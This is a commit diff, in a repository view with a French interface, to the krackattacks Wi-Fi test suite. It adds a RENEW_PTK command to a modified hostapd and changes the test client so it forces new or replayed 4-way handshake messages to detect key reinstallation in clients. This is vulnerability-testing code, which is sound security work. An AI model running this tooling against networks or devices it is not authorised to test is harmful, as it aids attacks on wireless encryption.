Parcourir la source

krackattacks: improve GTK RSC install tests in the 4-way handshake

Mathy Vanhoef il y a 7 ans
Parent
commit
9b29501add
4 fichiers modifiés avec 35 ajouts et 5 suppressions
  1. 18 0
      hostapd/ctrl_iface.c
  2. 8 4
      krackattack/krack-test-client.py
  3. 8 1
      src/ap/wpa_auth.c
  4. 1 0
      src/common/attacks.h

+ 18 - 0
hostapd/ctrl_iface.c

@@ -2755,6 +2755,21 @@ static int hostapd_renew_gtk(struct hostapd_data *hapd)
 
 	return 0;
 }
+
+static int hostapd_renew_ptk(struct hostapd_data *hapd, const char *txtaddr)
+{
+	struct sta_info *sta;
+	u8 addr[ETH_ALEN];
+
+	if (hwaddr_aton(txtaddr, addr)) return -1;
+	sta = ap_get_sta(hapd, addr);
+	if (!sta || !sta->wpa_sm) return -1;
+
+	poc_log(sta->addr, "Executing a new four-way handshake\n");
+	wpa_rekey_ptk(hapd->wpa_auth, sta->wpa_sm);
+
+	return 0;
+}
 #endif
 
 
@@ -3138,6 +3153,9 @@ static int hostapd_ctrl_iface_receive_process(struct hostapd_data *hapd,
 	} else if (os_strcmp(buf, "RENEW_GTK") == 0) {
 		if (hostapd_renew_gtk(hapd))
 			reply_len = -1;
+	} else if (os_strncmp(buf, "RENEW_PTK ", 10) == 0) {
+		if (hostapd_renew_ptk(hapd, buf + 10))
+			reply_len = -1;
 #endif
 	} else if (os_strcmp(buf, "TERMINATE") == 0) {
 		eloop_terminate();

+ 8 - 4
krackattack/krack-test-client.py

@@ -330,7 +330,7 @@ class KRAckAttackClient():
 
 			if decrypt_ccmp(p, "\x00" * 16).startswith("\xAA\xAA\x03\x00\x00\x00"):
 				client.mark_allzero_key(p)
-			if self.options.variant == TestOptions.Fourway:
+			if self.options.variant == TestOptions.Fourway and not self.options.gtkinit:
 				client.check_pairwise_reinstall(p)
 			if client.is_iv_reused(p):
 				self.handle_replay(p)
@@ -455,15 +455,19 @@ class KRAckAttackClient():
 
 				self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL
 				for client in self.clients.values():
-					# 1. Test the 4-way handshake. We rely on an encrypted message 4 as reply to detect pairwise
-					#    key reinstallations reinstallations.
-					if self.options.variant == TestOptions.Fourway and client.vuln_4way != ClientState.VULNERABLE:
+					# 1. Test the 4-way handshake
+					if self.options.variant == TestOptions.Fourway and self.options.gtkinit and client.vuln_bcast != ClientState.VULNERABLE:
+						# Execute a new handshake to test stations that don't accept a retransmitted message 3
+						hostapd_command(self.hostapd_ctrl, "RENEW_PTK " + client.mac)
+						# TODO: wait untill 4-way handshake completed?
+					elif self.options.variant == TestOptions.Fourway and not self.options.gtkinit and client.vuln_4way != ClientState.VULNERABLE:
 						# First inject a message 1 if requested using the TPTK option
 						if self.options.tptk == TestOptions.TptkReplay:
 							hostapd_command(self.hostapd_ctrl, "RESEND_M1 " + client.mac)
 						elif self.options.tptk == TestOptions.TptkRand:
 							hostapd_command(self.hostapd_ctrl, "RESEND_M1 " + client.mac + " change-anonce")
 
+						# Note that we rely on an encrypted message 4 as reply to detect pairwise key reinstallations reinstallations.
 						hostapd_command(self.hostapd_ctrl, "RESEND_M3 " + client.mac + ("maxrsc" if self.options.gtkinit else ""))
 
 					# 2. Test if broadcast ARP request are accepted by the client. Keep injecting even

+ 8 - 1
src/ap/wpa_auth.c

@@ -310,8 +310,11 @@ static void wpa_rekey_gtk(void *eloop_ctx, void *timeout_ctx)
 	}
 }
 
-
+#ifdef KRACK_TEST_CLIENT
+void wpa_rekey_ptk(void *eloop_ctx, void *timeout_ctx)
+#else
 static void wpa_rekey_ptk(void *eloop_ctx, void *timeout_ctx)
+#endif
 {
 	struct wpa_authenticator *wpa_auth = eloop_ctx;
 	struct wpa_state_machine *sm = timeout_ctx;
@@ -3139,9 +3142,13 @@ SM_STATE(WPA_PTK, PTKINITDONE)
 		sm->PInitAKeys = TRUE;
 	else
 		sm->has_GTK = TRUE;
+#ifdef KRACK_TEST_CLIENT
+	poc_log(sm->addr, "4-way handshake completed (%s)\n", sm->wpa == WPA_VERSION_WPA ? "WPA" : "RSN");
+#else
 	wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_INFO,
 			 "pairwise key handshake completed (%s)",
 			 sm->wpa == WPA_VERSION_WPA ? "WPA" : "RSN");
+#endif
 
 #ifdef CONFIG_IEEE80211R_AP
 	wpa_ft_push_pmk_r1(sm->wpa_auth, sm->addr);

+ 1 - 0
src/common/attacks.h

@@ -13,5 +13,6 @@
 #define KRACK_TEST_CLIENT
 
 void poc_log(const u8 *clientmac, const char *format, ...);
+void wpa_rekey_ptk(void *eloop_ctx, void *timeout_ctx);
 
 #endif // ATTACKS_H_